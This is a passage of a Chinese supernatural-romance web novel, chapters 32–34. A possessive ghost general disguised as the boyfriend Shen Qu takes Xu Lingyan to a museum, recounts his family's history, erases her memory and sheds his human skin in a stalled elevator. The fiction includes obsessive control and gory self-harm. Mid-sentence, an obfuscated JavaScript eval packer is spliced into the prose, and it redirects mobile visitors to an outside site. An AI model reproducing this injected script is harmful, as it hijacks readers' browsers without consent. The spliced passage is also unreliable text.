沈渠对她的理由感到意外,甚至怀疑是自己表述不清楚,令她误会了。 “这次不是正式见父母,只是我个人认为机会难得,便想带你回我长大的地方看一看。” “既然到了我的故乡,没道理晚上还让你住酒店。 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好善良的妻子。 好体贴的妻子。 天底下顶好顶好的、只疼爱他的妻子。 沈渠暗笑声,因为她的迁就爽到灵魂震颤,快控制不住翻起白眼。 内心越狂躁,他越隐忍冷静,摆出一副担忧的表情,“礼物不会浪费,等到了年节,我带回去送给老人就是。你想了解我,我可以多给你讲讲过去的事情。如果你真的感兴趣,那等以后找个充足的时间,我来做个详细周到的计划,再带你去泉化市旅游……” “以上这些统统都不重要,重要的是你怎么想。不愿去就不去,不喜欢就直说,没什么大不了。对你,我无条件服从。” 他掩藏着强烈、扭曲的占有欲,熟练扮演最佳男友角色,话里话外只以她的感受为主,随便谁来都挑不出错误。 而许菱烟也如预料一样,逐渐软化在他春水般温柔的眼神中,大脑一片空白,彻底失去思考能力。 当下此刻,她只想让这双漂亮眼睛的主人快乐起来,随便她付出什么代价都可以。 于是她说:“我愿意。” 沈渠眸色愈发深谙,像是深不见底的黑洞。因为亢奋,血液流速紊乱,眼皮小幅度地痉挛了下。 “……真的?”他咬唇,可怜兮兮地问。 “真的,真的真的真的。” 她反复强调,格外虔诚,“真的愿意。” “……” 沈渠盯着妻子,一语不发。 他喜欢她说“我愿意”,听起来就像要把灵魂献给他,与他融为一体,永不分离。 忍了又忍,他实在没捱住,后槽牙狠狠上下摩擦,发出令人头皮发麻的嘎吱响,面颊也泛起可疑的红潮,痴痴的、无声的呢喃: 啊啊、 好幸福啊。 我美丽可爱的、善解人意的、纯洁无瑕的、赤心赤意的妻子。我已经迫不及待想看你穿上嫁衣,再嫁给我一次的那天了。 而成亲恰恰是完全的、彻底的占有,从此以后不管是谁提起妻子,必然绕不开作为丈夫的他,他便可以顺理成章的昭告天下,妻子是独属于他的。 是他的。 咯咯。 是他的他的他的他的他的…… 沉寂片刻,他忽而笑起来,笑却不达眼底,那张漂亮斯文的面皮,在此刻蒙上一层渗人的鬼气,仿若初冬覆盖在湖面上的薄冰,稍有不慎,冰面破碎,下头便是深不见底的海渊。 许菱烟听着诡异地磨牙声和痴笑,并不害怕,反应更像习以为常了,一脸淡定地问他,能不能先送自己回家收拾行李。 “当然可以。” 他情绪太激动,太想吻她又不敢轻举妄动,生怕惊扰她,打破好不容易得来的夫妻交流感情的温馨时刻,于是使劲抓挠喉结,留下一道道清晰血痕。 但对妻子的欲-望竟然胜过肉-体痛感,他下手的力道越来越大,随着滋啦一声,颈部的皮肉被抠破、撕裂,一条又一条破布片子似的垂下来。 慢慢的,痒意蔓延至四肢百骸,他开始隔着衣服胡乱抓挠,喉咙里逐渐涌上血沫,一开口说话就咕噜咕噜响,像极了热水烧开的动静。 他极力忍耐着,继续回答妻子,“不用带太多东西,尤其是日用品,只拿你舍不得的那些就好。” 许菱烟懵懵地:“为什么不拿日用品?你提前准备好了?还是因为我们很快就回来?” 沈渠眼神悠悠地扫过她一头乌黑长发,只笑不语。 有那么一刹,许菱烟恍惚感觉面前的男人不像沈渠,没等仔细思忖,脑袋内有另个声音不合时宜地响起,迷惑她的神智,翻来覆去地问,这不是你爱的人又是谁? 其实,某些真相并不重要。 无所谓他的姓名叫什么,亦无所谓长相、身份,甚至无所谓他是人是鬼或是别的,只要她确认这份爱意不假,情愿跟他在一起走更久,这就够了。 33. 命格 可这样…… 真就够了吗? 许菱烟为此困惑,眉宇间流露出一丝不合时宜的哀伤。 这表情不像她,沈渠一下就发现了端倪,眼仁骤缩成米粒大小,在眼眶内振奋乱跳,咽喉中的血沫咕嘟作响,含混咕哝:“清如,清如……” 他感受得到,完整的她就快回来了。 沈渠离开椅子,双膝跪地。 宽松的衣服立即绷紧,壮硕的背肌硬挺如一座巍峨的大山。分明是极其屈辱的姿势,可他跪得自然坦荡,看起来依然高不可攀,却只向一人甘心屈服。 他低头,颈后突起一串嶙峋棘骨,刚刚的癫狂相荡然无存,满面肃穆。 宛如跪在神殿里对神仙上香祈福一样,他向她虔敬俯首,直至整张脸彻底埋入她湿热的掌心,鼻尖肉被挤瘪,猛然吸入一口芳泽,如饥似渴的瘙痒立即得以缓解。 许菱烟没有抵抗,手掌小幅度抬了一下,提醒他压疼自己了。 他却误认为她厌恶,想挣脱,立马反扣住她的手腕,两腮肉咬紧,强忍着暴戾的占有欲,上下牙磕碰的嘎吱嘎吱脆响越来越大,磨得人耳朵难受。 她想捂住他的嘴,可惜他的劲儿太大,她挣脱不了,于是低下头,看着漆黑的发顶叹声:“别闹了,该出门了。” 跪在地上的人脊背蓦然一顿,脑海中顿时闪过许多曾经。他屏住呼吸,只觉得她掌心外的世界难捱异常,又闭了闭眼,不情不愿地起来。 转瞬间,被他抓破碎的外皮恢复如常。 沈渠抻平衣服上的褶皱,对着玻璃门的倒影整理仪表,确认没有异常,他转身用手背轻触妻子的面颊,眼底晕开一片潮湿的暗色,“醒一醒。” 声罢,许菱烟涣散的视线渐渐集中到一点,终于看清面前重叠交替的身影其实是一个人。 至于其它的记忆,全被悄无声息抹去了。 “可能是我睡得太久了,脑子不太清醒。” 她揉了揉太阳穴,神情倦怠,“你刚说什么?” “待会儿送你回家,收拾行李。” 他告诉她选几样礼物带着,买都买了,总不能都退掉。 许菱烟依言,选了一件肩颈按摩仪,小巧易携带,平常还派得上用场。 沈渠收拾完厨房卫生,回卧室换外出的衣服。 这会儿功夫,许菱烟换好鞋子,站在玄关等候,沈渠拿了车钥匙过来,弯腰系鞋带时瞥见按摩仪的外包盒,纳闷:“只拿这个?” 许菱烟点头,狡黠地眨眼,“我还有别的礼物要送给老人家。” 他问是什么。 她卖关子不答,催他赶紧出发。 马路两旁的树木上挂满红灯笼或彩灯串,街头巷尾循环放着充满新年喜洋洋气氛的歌曲,最直观的还是市区内汽车变多,挤得水泄不通。 他们收拾的速度很快,正经出发时也才刚过五点。 原计划哪怕路上堵车推迟,最晚凌晨就能到地方了,偏偏情况出人意料。 先前沈渠开车带他们跑过的近路也挤成一团浆糊,眼瞅着两三个小时动弹不了一下,两人干脆反锁车门,盖着毯子缩起来睡了一觉。 再睁眼的时候,车外天光大亮。 许菱烟望着飞速掠过的一排排光秃树木,晃了晃神,扭头看向旁边开车的男人。 因为焦灼路况耽误一整个晚上,睡不安稳、吃不服帖的,许菱烟满脸疲态,浑身的骨头像拆开又充足过一遍,酸涩胀疼。侧面的车窗上,清晰倒映出她此刻狼狈的样子。 反观沈渠,竟然看不出一丝一毫的疲倦。 他的衣服整齐洁净,发型被精心打理过一样,唇角始终带着恰当的弧度,像个从斯文模具里批量生产出来的君子,不管什么情况下都能保持自如持重的状态。 以往,许菱烟最欣赏沈渠这一点。 这会儿却不知道怎么回事,竟恍惚感觉他很不真切,不接地气,身上也没点儿活人气。 ……啧,又在胡思乱想了。许菱烟及时打住发散的思维,自我唾弃一句,晃晃脑袋,努力保持清醒,提议:“要不找个地方停车,下去活动活动,顺便吃点东西?” 因为刚睡醒,她嗓音沙哑嘲哳。 等到了下个路口红灯亮起,沈渠腾出手,拧开保温杯递过去,滑动支架上的手机查找附近的餐馆,“前面五百米处有吃饭的地方,车上有零食,你挑着吃点,先垫一垫肚子。” 这路段的红灯时间很短,寥寥几句话的功夫,绿灯亮起,排在前方的车队缓慢动起来。 沈渠一手把持着方向盘,另只手轻抚过她发丝,心疼歉疚交缠,“本来带你出门是为了放松的,没想到堵车堵成这样……辛苦了。” 许菱烟弯起眼睛,望向他,“我不会开车,这一路上都得麻烦你,你也辛苦了。” 借着后视镜对视一眼,沈渠脸上的郁色逐渐淡化,眸底盛着她的灵动模样,再扬起的笑中多了几分从心而生的温柔。 没开多久,进城之后的路况反倒好多了,两人就近找地方停车,美餐一顿。 一不留神吃得太多,许菱烟肚皮撑得滚圆,挎着沈渠臂弯,没骨头似地赖在沈渠身上,慢吞吞地挪步。 担心她这种情况再回车上蜷着太难受,恐怕还会因为路上颠簸恶心反胃,他主动提议在周边转一转,消消食再出发。 许菱烟犹豫,“距你家还有多远?” “不远了,开车至多二十分钟。” 沈渠上下滑动手机,“市博物馆就在附近,你想不想去看看?” “好呀。”许菱烟欣然同意。 走过去的路上,沈渠大致讲了讲这座博物馆的来历,以及被称作镇馆之宝的玉雕莲花。可惜文物出土时破败的厉害,哪怕现代修复技术高超,仍没办法还原出它原貌的十分之一。 去年十二月份,玉雕莲花突然破裂,经专业检测之后还是无法确认具体的原因,博物馆对外声称是年头太久了,只能送到文物修复团队那儿看看是否能补救。 边听着,许菱烟上网搜索以前游客们上传的照片。 那尊莲花单独一个展室,玻璃罩保护着,四周围满警戒线,里三层外三层。白炽顶光打落,玉质折射出漂亮的光华,莹绿根茎,花瓣或展开或蜷缩,颜色由深红往浅粉蔓延,栩栩如生。 许菱烟怅然片刻,急急忙把手机递给沈渠瞧。 沈渠会心一笑:“确实,跟你家摆的琉璃并蒂莲很像。第一次见的时候,我还以为你拿这尊玉雕莲花做了参考,没想到是你自己的设计。” “真有缘分。”许菱烟附和。 因为偶然发现的一点巧合,她被饱餐压下去的精神头重新发作,乌黑的眼睛发亮,晃着他胳膊哄说:“再多讲讲呗。” 被这么一双水汪汪的眼眸盯着,沈渠又开始喉咙发痒,非常想撕开皮肉挠一挠骨头,可刚一抬起手就意识到这是在外面,不能唐突。 他只好遏制住冲动,极力移开视线,不再关注她那张诱人的粉嫩双唇。 但看不见,总有别的感官作祟,她依偎着他时贴紧的柔软,时有时无的香甜气味,全都在撩拨他脆弱敏感的神经。 再开口,他嗓音不自觉沉了许多,“你想听什么?” “关于那尊玉莲的来历,或者故事。” “没有故事,就只是一座雕刻品而已。” “它背后肯定有特殊的寓意吧,不然怎么可能成为镇馆之宝?要么就是哪位王孙贵族,或者文人雅士的陪葬品?” “确实是陪葬品,但,墓主人的身份不明。”沈渠不愿提及这件事,每次想起心口都一阵绞痛,那道被刺穿的伤口千年来仍在折磨他,如影随形,无法摆脱。 偏偏始作俑者早就忘了前尘往事,一脸无辜地扣掉他刚结的痂,看着鲜血重新从伤口淌出,还非要他讲清楚受伤的前因后果。 他表情里划过一抹悲戚,三言两语掀过这茬,转而同她说起所谓的寓意。 “那个时代佛教盛行,莲花在佛教中又被赋予独特的含义,有钱人家雕刻一尊玉莲,供奉在家里或死后带进坟墓,并不奇怪。” 许菱烟耳尖地捕捉到某个听起来不对劲的词。 “供奉?人们为什么会供奉一株莲花?” “平常在寺庙里看见的那些神仙都有具体的形象,为了求财、求事业、求学业、求健康平安……我还从没见过有人直接供奉一株植物的,那他们要向莲花求什么呢?”噼里啪啦一大堆问题甩出来,足以见得她是真好奇。 沈渠眼神有一瞬的游离,嘴巴微张,突然不知道该从何说起。 毕竟缘分匪夷所思,如果不是亲身经历、亲眼所见,只会认为荒谬。 顿了一顿,他说:“为了,求个好梦吧。” “哦,原来是保佑睡眠的。” 许菱烟对这个答案的接受度良好。 随即小嘴一撇,叹惋:“可惜现在它不展出了,不然我一定认真虔诚地拜一拜。” 沈渠:“怎么?” “我有一阵儿睡觉很不踏实,天天晚上做噩梦,还是中式恐怖那种,超级吓人。给我折磨的神经衰弱,差点以为自己从哪儿沾上了什么脏东西,还特地跑了一趟灵源寺上香,求来一串保平安的串珠。” 串珠不知道被她放到哪个犄角旮旯,已经找不到了,万幸的是,之后她没再做过噩梦。 正说着,两人一起迈上最后一节台阶。 安检人员远远望见他们没有带包,于是做个手势,示意去走旁边的自助通道。 沈渠打开手机扫码,快速填完游客登记表,先许菱烟一步快速通过闸机,搭在臂弯里的胳膊短暂抽离之后,重新塞回来。 他愉悦地弯起嘴角,小声问:“工作压力太大了?” “医生也这么说。后来我报了健身房,坚持锻炼,控制饮食和工作时长,身边还有朋友给我送来一些特制的中药熏香,睡前点一根,多少管点用。” 联想到她从家里带来的盒子,他恍然:“你也给老人拿了一盒?” 许菱烟颔首:“纯中药,对身体无害。” 沈渠打开面前的门,趁周围没人,快速低头,含吻住那两瓣肖想已久的唇。 前后不过几秒,轻吮几下,娴熟地深入纠缠,双唇分离时,发出啵的轻响。 许菱烟面红耳赤,急慌慌往四周扫了一圈儿,确保没被其他人发现,又羞又恼地拍他一下,压着声儿嗔怪:“干嘛呀你。这是在公共场合,别人看见影响不好。” “这不是没别人吗。” 沈渠这会儿反倒大胆起来,坏笑说:“替我家老人谢谢你。” “……” 许菱烟翻个白眼,懒得理他。 - 或许因为来的时间略早,博物馆一直没多少人,格外冷清。 走马观花似地逛完两层楼,许菱烟肚子里的积食消化的差不多,正准备跟沈渠商量离开,目光先瞥见指示牌上的内容。 “艮山沈氏藏品区?什么情况,你家竟然有文物展出?” 许菱烟来了兴致,非得上楼瞧一瞧。 沈渠当然愿意,顺势接上话茬:“全都是祖上传下来的老古董,锅碗瓢盆,钟表镜子,具有各个朝代特色的首饰或衣服,其实没什么特殊的物件。” “早年间,长辈们做主捐赠给了博物馆,只留了一小部分对家族来说有纪念价值的摆件,一直存放在祠堂里,逢年过节祭拜祖先的时候我才有幸见一回。” 虽然早就对沈渠出身名门望族这一点有心理准备,但冷不丁听他说起这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210295|195586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,许菱烟还是震惊到嘴巴半天没合拢,悄声问:“那你能偷偷放我进去看一眼吗?” 他捏捏她软绵的手,眼神促狭,意味深长道:“用不着偷偷。我们一起去,守门的老伯一看就明白了,不会阻拦的。” ……又来。 许菱烟佯装恼怒,收着力气拧他一把,生硬地转移话题:“这儿的很多介绍都提到了北邳,可沈氏不是在北邳之前就有了吗?” “有归有,发家又是另外一回事。” 见她感兴趣,他便带着她挨件文物介绍,从头开始讲起艮山沈氏。 这一脉最早可追溯到春秋战国时期某宗室后裔,后来逐渐发展成为江北地区的豪强。 因沈氏家族庞大,依定居地划分为鹤谷、金乡、埜府、艮山四脉。 其中,以艮山一脉的势力最弱。 看着玻璃柜内挂的那幅将军出征图,许菱烟心头涌入一股难以言喻的激流,忍不住插话:“一千年前,群雄割据,战乱不休……我记得你曾经说过,艮山沈氏就是在这时期被迫迁徙,又碰上时局动荡,途中,是不是死了不少人?” 沈渠点点头,又摇摇头,“不止。” 长年没能诞生扶得起家族的能人,险些被本家抛弃不说,历经朝代更迭、战乱迁徙、自然灾祸……在北邳建立初期,艮山沈氏竟只剩下一户人家。 这家年迈的老主君膝下有两个儿子,希望自然而然寄托在两个小子身上。偏巧,在这种关乎一脉存续的关键时候,发生了一件可大可小的事。 许菱烟一颗心狠狠揪起来,声线不自觉颤了下,“……什么事?” 沈渠也抬头看向那幅画,眼底闪着幽暗不明的光。 人若是太执着于一个理想的结果,势必会变得偏执疯魔,为情所困的沈将军是这样,他的父亲沈老主君亦如此。 为了得知两个孩子究竟谁的胜算更大一些,他亲自带他们赶往灵源寺上香礼佛,甚至不惜卖掉郊外一处宅子充作香火钱,只为见一面寺里有活佛之称的主持,请他为儿子们看卦。 常言道,天机不可泄露。 主持苦口婆心劝说老主君放下功利心,孩子们的将来如何,应由他们本人决定,世间众生各有各的缘法,凡事发生皆有道理,是福是祸全凭人心和眼界。 因此,一切外力干涉皆不可取。 老主君不信邪,另重金聘请一位所谓的得道仙人来家中为二子看相。 结论便是,次子的命格比长子强太多太多,分明是同一个爹娘,却生出截然不同的灾星和福星。 于是老主君做主,年龄稍长的总归是个灾星,留在家中也无益,索性送往军营历练,活不活得下来全看造化。 至于幼子,老主君动用一切资源人脉倾心培养,甚至不惜屡次写信向本家在朝为官的表兄求助,把幼子送去他家家塾里读书,只求幼子以后有能力救下苟延残喘的艮山沈氏。 没想到,最终竟是不被看好的那个孩子更有出息,成为一代名将,他的功绩为家族往后的发展奠定了坚实的基础,还被追封为艮山沈氏的著名先祖。 许菱烟忿忿:“封建迷信,不可信。” 过去恁久的事,其中的是非恩怨早已不重要,再提起来,他心底如死水一般平静无波澜,唯独看她恨不得穿越光阴替他打抱不平的样子,格外可爱可亲。 但要把一切归咎于封建迷信,也不准确,“怪就怪老主君自己,没能勘破那位仙人的言外之意。” 许菱烟漠然几秒,领悟到沈渠的意思,忽然就如鲠在喉。 有的人命格好,并不是指他生下来就注定登阁拜相或品行上佳,是他可以被人当成人看,先被呵护、爱惜、珍视,继而呵护、爱惜、珍视自己,最终把日子经营的越来越好; 有的人命格坏,也不是指他生下来就注定一事无成或者品德败坏,而是他运气不佳,不被人当人看,久而久之,也没能力把自己当成人对待,所以日子越过越坏。 话又说回来,命格并非人一生的判词,前路如何终究还要靠自己亲自去闯。 世事无常,指不定下一刻,便从淤泥里钻出个盖世英雄,圣人君子呢。 “漫长的历史长河中,北邳只存留不足二十年,几乎什么都没留下来,沈将军却能被后人记住,连带着,艮山沈氏也被记住了……他心里,关于家人的遗憾,或许也能抹平了吧。” 许菱烟吸了吸鼻子,瞧着画上手持长剑,束发飘逸,英姿飒爽的背影,一股说不清道不明的酸楚涌上来,眼眶隐约发红。 一旁的沈渠眼睫低垂,神情寡淡,落到她身上的视线却格外黏稠,压抑着一股汹涌的眷恋,平静否了她的话,“他要的,从来就不是战功赫赫,青史留名。” 他从生下来就没享受过真正的血脉亲情,却偏生了一颗贪婪的心,时刻不停地向往着人间真爱。 家原本是他的生地,也是他的死地,与郑清如成亲之后,他自认为找到了所谓的真情真爱,家也变成了可以容纳、包容他的桃花源。 直到那天利刃穿膛而过,方知毕生所求不过大梦一场。 闻言,许菱烟看过来,很谦虚地问:“那,他想要的,是什么?” 他恰时抬起头避开她的视线,通过玻璃的倒影,打量她这一张令自己魂牵梦萦的脸,轻轻浅浅地笑起来,眼底漾着化不开的哀戚和偏执。 “沈将军终其一生都盼望能有个家,一个,值得他从战场上不论如何也要活下来,赶回去的地方,可惜造化弄人,让他遇见了可以组成家庭的人,却没给他们相守的机会。所以,爱妾身亡的同一天,他便也挥剑自刎了。” “如果,活着的时候不能长相厮守,那么,死了就共下黄泉,来世再见。” 沈渠说:他宁要痛苦,绝不要遗憾。 34. 归心似箭 史书记载,艮山沈氏是非常典型的“文武双全”的世族,作为北方一等一的高门,鼎盛期一直贯穿整个儿南北朝,并延续至隋唐。 军事方面,以骠骑大将军沈明谦为首,相继涌现出大量的军事将领。北邳末期,艮山沈氏一跃成为北方军事贵族集团的核心成员之一,并在孕育新王朝的过程中扮演了至关重要的角色。 另外,与所有高门相同,艮山沈氏以儒学传家,保持着极高的文化素养。 在这方面的垄断,也是他们区别于寒门庶族、维持社会地位的重要标志,又因为精通礼仪、典章、文学、艺术等等,使得他们可以完美适应选官制度的变化,始终占据有利地位。 沈氏的子弟凭借门第可以轻松起家为官,最常见的方法是从负责管理典籍的官员做起,先有个虚职,方便日后快速晋升。 因而,在南北朝时期,沈氏族内多得是人担任刺史、太守、将军等中央要职,且通过与其他高门大户、皇室成员联姻,巩固政治同盟。 只不过艮山沈氏人才稀缺,在沈氏两兄弟长成之前,这一脉始终没能排得上号。 沈将军文武双全,靠着累累功绩在史书上留下浓墨重彩的一笔,但要论及北邳的其他能人,就不得不提起他的胞弟,沈光霁。 记录他的文字并不多,寥寥几句全都是正面评价,称赞他年少时就展现出惊人的政治天赋,曾两度拜相,深受帝王信赖,并著有《红莲筏》流传于后世。 据传,这篇文章的灵感来源于沈明谦的一场梦。 莲,出淤泥不染,是儒者高洁品格的写照,也是佛教的圣洁象征;筏,则是佛家普度众生的譬喻。 文章通篇写梦,画面感极强,在那个时代被成为接引众生脱离苦海的智慧之书,也隐喻着他身处浊世,却“以文为筏”的济世情怀。 只可惜,天妒英才。 沈明谦亡故次年,十六岁的沈光霁突发恶疾,病逝于北上探亲途中。 许菱烟迟迟没能从沈将军的辛酸往事中缓过来,冷不丁又被喂了这么多历史知识,脑袋一时半会儿转不过弯儿来,思忖,那位老主君的两个儿子早早就都没了,后人们又打哪儿来的呢。 沈渠一眼看穿她的想法,解释说:兄弟俩死前都有家室。沈光霁只有一妻,院中无妾,妻子体弱一直未有所出,所以如今的艮山沈氏跟他毫无关系,全是沈明谦的后人。 许菱烟哦了声,看反应对这个话题并不多么感兴趣。 她拿手机,对着展示柜里的梨花木妆奁拍来拍去,咕哝:“好精巧的盒子,图案也漂亮……古人的雕刻技艺真是比现代强太多了……” 沈渠嘴角的弧度一滞,被她无所谓的态度狠狠刺中。 他一个人偏执的,非要把前尘往事跟她掰扯清楚,也不管她究竟有没有认真听,兀自说:“严格来讲,是沈明谦和他爱妾郑氏的后代。” 听见熟悉的姓氏,许菱烟愣了一下,却死活想不起来在哪儿听过。 好歹,注意力成功的重新转移到他这儿来了。 沈渠心满意足,顺势揽过她的肩头,将她带离这片区域。 “沈将军和发妻叶氏感情不睦,活着的时候争吵不休,死后也坚决不肯葬在一起。” “从目前出土的书籍残片内容里也能看得出来,这两人空有夫妻之名,没有夫妻之实,婚后也不曾住在同一个屋檐下。待到遇见涉及双方利益的事情,他们才能坐下来心平气和聊一聊。” “至于叶氏的女儿,十有八九是沈将军的爱妾所出。” 说到这儿,他顿了一顿,心口的口子再次隐隐作痛,看她的眼神中掺杂着不易被察觉的幽怨,“或许,受某些原因影响,他们只能把孩子交给叶氏抚养。” 许菱烟犹记得那个令人唏嘘的悲惨爱情故事,每次想起来都觉得胸膛有一块儿地方发紧,疼得慌。她揉了两下,顺着他的话说:“孩子无罪嘛。” 沈渠的注意力集中在她揉心口的动作上,闻言蓦地一愣:“什么?” “爱恨情仇都是父母一辈注定要完成的课题,也是将军和郑氏之间的事情,不该把一个赤条条来到世界上的无辜新生命卷进去。” 许菱烟双手背后,悠哉悠哉的往前走。 完全没意识到自己用轻飘飘的语气,揭开了一道尘封千年的伤疤。 沈渠如梦初醒般,看着她,唇瓣轻微抖动几下。 ……原来,是这样么。 原来,当年她并非因为厌恶他而迁怒于孩子,亦非恨他入骨到干脆把孩子丢弃给别人抚养,一面都不想再见。 爱恨嗔痴…… 爱恨嗔痴。 爱字当先。 没有爱,哪来的恨嗔痴。 那他可不可以认为,她一遍又一遍重申恨他的时候,也是口口声声在说爱他。 沈渠低下头,隐匿在黑暗的侧脸肌肉因为振奋不停抽搐,令他痛苦憎恶的往事反刍上来,重新咀嚼一遍,竟然榨出鲜甜的汁水。 他掌心使劲压着痉挛的面部,微微抬起眼皮,目光潮湿、黏稠,像蛇巡视领地一样缠绕着她,癫狂迷乱的情绪呼之欲出。 许菱烟对背后的异样无所察觉。她鼻尖怼在冰凉的玻璃展柜上,一目十行看完叶氏的生平介绍,盯着画纸上一张温婉清丽的面庞出神。 伴随着一股檀香味儿袭来,沈渠不知道什么时候悄然凑近,双手撑在玻璃柜上,从后方把她抵在玻璃柜前,胸膛堵住她后退的路,不动声色地嗅着她身上的清香。 柔声问:“在看什么?” “……画。”许菱烟被这个全包围的姿势弄得难为情。 他的臂膀和胸膛好似铜墙铁壁,没有彻底挨上她,却把她困起来,逃也逃不开。 这样占有欲爆棚的姿势让许菱烟很不适应,胡扯借口说逛累了要走。 沈渠瞅她一眼,没为难,痛快的退后,“好。” 电梯在这层楼的尽头,通道的声控灯坏了,环境昏暗,暖风也没通进来,导致这儿有种阴嗖嗖的感觉。 许菱烟背脊发毛,搓了搓胳膊,跟着沈渠进入电梯厢。 伴随沉重的门徐徐合拢,顶灯扑闪一下,上方的电子屏像受到不明磁场的干扰,楼层数字疯狂乱跳,降落的速度也比平时更快。 突如其来的失重导致许菱烟太阳穴被挤压得生疼,耳边嗡嗡作响,眼前忽明忽亮的。眩晕感越来越重,她站不稳当,下意识扶住旁边的人。 接着,两只耳朵被他的掌心捂住,轻轻揉了揉。 “低血糖又犯了?” “刚吃完饭不久,不应该吧。”许菱烟哼唧。 不知道是不是她的错觉,被沈渠触碰的时候,耳朵就没那么难受了。 她依赖的靠上他臂膀,侧脸在微凉的外套上磨蹭,双眼舒服的微阖,像只用爪子洗脸的小动物,“也有可能是太累了,昨晚在车上没睡踏实,肩膀酸疼。” 闻言,他双手下滑,蹭过她热气未褪的脸庞,捻起一缕碎发别去耳后,控制着力气,小心揉捏她肩颈僵硬的肩膀。 微痛中带着丝丝快意的感觉,电流似的肆意在体内穿梭,许菱烟蹙起眉尖,努力抬起酥麻的胳膊,向后握住他的手胡乱拨开。 可惜迟了一步。 齿间溢出的声音,在寂静的空间内,显得格外清晰。 许菱烟猛然僵住。 沈渠亦没有动。 刹那间,连空气都凝固了。 可许菱烟分明感受到一道极有压迫力的视线落下来,从她羞赧哆嗦的睫毛,滑过她微抿的唇,最终,停在她握着他的一双手上。 他眼眸微眯,气流开始疾速流转。 顶光再度频繁地扑闪,电子屏的楼层数彻底失序,一阵儿混乱之后,电梯忽然颤抖一下,悬停在不上不下的地方。 啪得一下,灯灭。 黑暗侵袭。 许菱烟被变故吓一跳,转身猫进沈渠的怀里。 他顺势回抱她,“应急按钮就在你旁边,摁一下。” 许菱烟被这场突如其来的变故转移注意力,精神紧绷,短暂忘却刚才的尴尬。 她应声好,急忙抬手,来回摸索光滑冰凉的厢壁。 应急按钮的触感跟其它的不一样,哪怕双眼看不清,全凭摸,许菱烟也能顺利找到。 摁下去之后,久久没下文。 许菱烟内心泛起不安的波澜,下意识向身旁的人寻求帮助,“……手机没信号,电话是打不通了。怎么办,我们不会一直被困在这儿吧?” “不会,”这种危急关头,沈渠的心态照样稳得住,“监控那头的工作人员发现不对,赶过来最多不超过十分钟,耐心等等。” 许菱烟半信半疑,“你怎么知道?” “经历过,习惯了。” 许菱烟脑袋里的那根弦被拨动,立马联想起褚灵萱说他年轻时经常大江南北地旅行,途中肯定碰见过许多意外或者事故,难怪他从来都一副处事不惊的模样,全靠经验累积。 还有去年年底发生的那场,险些让他丧命的车祸…… 她心里五味杂陈,默默往他怀里蜷的更紧,侧脸在他心口枕着,等待电路恢复。 不多时,头顶的应急灯毫无征兆地亮起,许菱烟被惨白光线晃了一下,生理性泪水渐渐漫上来。 沈渠伸出手,虚盖在她眼睛上方,体贴询问:“还好吗?” “嗯。”许菱烟一抬头,差点撞到沈渠的下颌。 她完全没料到两人的姿势如此暧昧,整个人儿被他用腿夹着,牢牢固定在他怀里,而她掌心正摁着他的小腹支撑身体,等视野恢复清明,才发应过来自己的鼻尖已经快抵上他的喉结。 ……太近了。 近到,如果任何一方想趁机做点什么都轻而易举。 许菱烟的理智不断叫嚷着退开。 就算他们是情侣,在家门以外的公共场合,尤其在电梯的监控底下,一直搂搂抱抱也太出格了。 但周围的气流像一只只无形的大手,扣住她的脚踝,捏住她的胳膊,操纵她的理智,勒令她不许逃开。非但不能逃,还一个劲儿推着、搡着她,向他靠近。 恍惚间,许菱烟看见四周的空间扭曲抽搐,颜色退却,全变成血一样的大红色调。 红的衣裳。 红的鞋子。 红的纱幔。 红的床单。 红的被褥。 红的蜡烛。 汩汩流淌出血泪一样的蜡油。 还有贴满墙壁的大红色双喜窗纸…… 电梯厢变成密不通风的洞房,流转的空气如有实质般纷纷上前抵住她后背,怂恿她这个胆怯的新娘上前。 一时之间,四周似乎挤满看热闹的宾客,起哄声不绝於耳,嘈杂纷乱。 面前的男人始终没动,好整以暇地盯着她,摆出置身事外的闲散态度。 可他也没有移开目光。 许菱烟挨不住这样的打量,壮起胆子,重新看向他。 忽明忽暗的光线给他蒙上一层天然滤镜,把他的面颊切割成阴阳两半,那双眼里暗流涌动,盛满她看不懂的情绪,似痴恋,似幽怨,更似某种无法言喻的、只能在黑夜疯狂生长的东西。 许菱烟的呼吸陡然急促,胸腔不停向内挤压,像被抽成了真空。 她抿住下唇,努力压抑着强烈的窒息感,可喉咙深处还是泄出了一丝声音:“……明谦?” 很轻、很短,好似被惊醒的梦呓,尾音透着不自觉的震颤。 喧嚣的哄闹即刻消失,她这一声落在逼仄的空间内,变成一圈圈涟漪散开。 听见妻子的呼唤,面前这张皮轻微抽动一下,伴随滋啦声响,头顶某个隐微的地方撕开一道长长的口子,一双手挣扎着探出来,压着薄皮两边快速脱下。 沈明谦个儿稍长,整日缩在这张皮里格外憋屈。 他仰头,苍白的脸彻底暴露在光下,自胸腔内发出餍足喟叹,然后抻了抻生锈老化的胳膊腿儿,弄得关节嘎吱嘎吱作响,动作也不太灵便。 许菱烟担心地摸了摸,生怕他一不小心把这具复原不久的身体搞坏了。 沈明谦看穿她的担忧,胸膛鼓动,闷笑道:“无妨,我的身子骨没你想得那么差。” 说完,他钳着妻子的细腰向上提起,两人之间的身高差缩短,距离拉近。 他一双眼凝着她,仔仔细细地扫过每一处,目光像一片羽毛,又像一枚烧红的针尖,令她极不自在。 “刚才叫我做什么?” “……没什么。” “没什么是什么。” 他笑起来眉眼线条舒展,少了些阴鸷压迫的气息,突显出皮囊原有的温润感,比往日更赏心悦目。 她瞧出他现下心情颇好,竟主动与她插科打诨,只是那双鹰眼仍紧盯她不放,令她错觉自己成了被盯上的猎物,背脊发凉,脖子一缩,更不敢吱声了。 因为温度降低,她睫毛上挂着晶莹剔透的水珠,每颤一下,都有种欲说还休的暗示。而他的眼睛仿若一潭深不见底的湖水,把所有暗示吞下去,细细咀嚼、品味。 摇曳的烛光中,每一分每一秒都被拉得无比漫长。 忽然,许菱烟看见他的喉结动了一下。 就那么一下。 在这个绝对封闭且没有旁人在的空间里,就像有人往她心湖中投入了一颗石子,正巧砸在最柔软的地方。 